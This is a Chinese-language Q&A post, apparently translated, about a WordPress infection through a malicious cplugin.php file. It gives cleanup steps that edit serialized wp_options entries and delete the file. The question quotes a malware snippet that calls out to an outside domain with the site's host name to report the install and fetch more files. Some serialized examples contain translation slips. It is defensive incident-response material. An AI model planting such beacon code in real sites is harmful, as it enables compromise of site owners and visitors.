由于 cplugin.php 文件恶意软件导致 wordpress 网站出现 500 错误和中断

Question

最近发生了一次攻击，由于文件 cplugin.php 是恶意软件，导致许多 wordpress 网站被关闭。

恶意软件是糟糕的编写代码，所以目前它主要导致 500 服务器运行时错误。但最好立即删除它，因为它会迁移到服务器上的所有多个网站，并且有代码可以点击恶意软件 URL 以下载其他文件。一段恶意代码:

if(get_option('log_install') !=='1')
{
    if(!$log_installed = @file_get_contents("http://www.romndo.com/o2.php?host=".$_SERVER["HTTP_HOST"]))
{
    $log_installed = @file_get_contents_cplugin("http://www.romndo.com/o2.php?host=".$_SERVER["HTTP_HOST"]);
}
}

我想出了一个解决方案并自己发布答案以帮助所有用户。

编辑:

有报告称，用户对同一文件的命名不同:ccode.php、cplugin.php 和 helad.php 在这种情况下可以修改修复程序。

Answer 1

这似乎是某种全局性的攻击。 plugins 文件夹中有一个文件 cplugin.php 导致下站。删除文件是没有用的，因为它重新出现。它还会感染多网站服务器上的所有其他网站。幸运的是，在工作了几个小时后已经找到了解决办法。请仔细阅读此内容以修复您的网站:

1. 备份您的数据库和文件

2. 编辑你的 wp_options 表，找到属性 active_plugins 并编辑它，你会看到它有一个 cplugin.php 的插件条目。我们必须删除它。您的初始数据将如下所示:

a:16:{i:0;s:27:"carousel-anything/index.php";i:1;s:36:"contact-form-7/wp-contact-form- 7.php";i:2;s:11:"cplugin.php";i:3;s:32:"duplicate-page/duplicatepage.php";i:4;s:31:"envato-market/envato-market.php"....

编辑它以删除 cplugin.php 条目，从 i 开始到下一个 ; 并删除它。 (确保你的数据库备份，以防你犯了一些错误)。没有 cplugin.php 的新条目将如下所示:

a:16:{i:0;s:27:"carousel-anything/index.php";i:1;s:36:"contact-form-7/wp-contact-form- 7.php";i:2;i:3;s:32:"duplicate-page/duplicatepage.php";i:4;s:31:"envato-market/envato-market.php"....

1. 对 wp_option 表中名为 site_transient_update_plugins
的字段同样执行此步骤

之前:O:8:"stdClass":5:{s:12:"last_checked";i:1598414385;s:7:"checked";a:16:{s:27:"carousel -anything/index.php";s:3:"2.0";s:36:"contact-form-7/wp-contact-form-7.php";s:3:"5.2";s:11: "cplugin.php";s:3:"1.0";s:32:"duplicate-page/duplicatepage.php";.....

之后:O:8:"stdClass":5:{s:12:"last_checked";i:1598414385;s:7:"checked";a:16:{s:27:"carousel -anything/index.php";s:3:"2.0";s:36:"contact-form-7/wp-contact-form-7.php";s:3:"5.2";s:32: “重复页面/重复页面.php”；.....

4. 更新字段后，导航回主插件文件夹 /wp-content/plugins 并删除文件 cplugin.php

5. 登录您的 wordpress 仪表板并重新激活所有插件

瞧，您已经修复了您的网站。

我认为造成这种情况的技术原因是恶意软件将自身注册为 wordpress 插件，该插件会在删除时自动替换文件。幸运的是，该恶意软件的代码编写得很糟糕，因此大多数情况下不会运行它，而是抛出 500 错误。但无论如何我建议立即删除它以防它更新。

编辑:根据这个 topic 上的 wordpress 论坛主题，对于某些用户来说，简单地重命名文件也可以使网站正常工作，这可能是由于在 wordpress 中重命名文件会停用插件，因为哪些网站开始工作。但无论如何我都不会将受感染的文件重命名和存储，因此至少在获得该站点的访问权限后推荐第一种解决方案。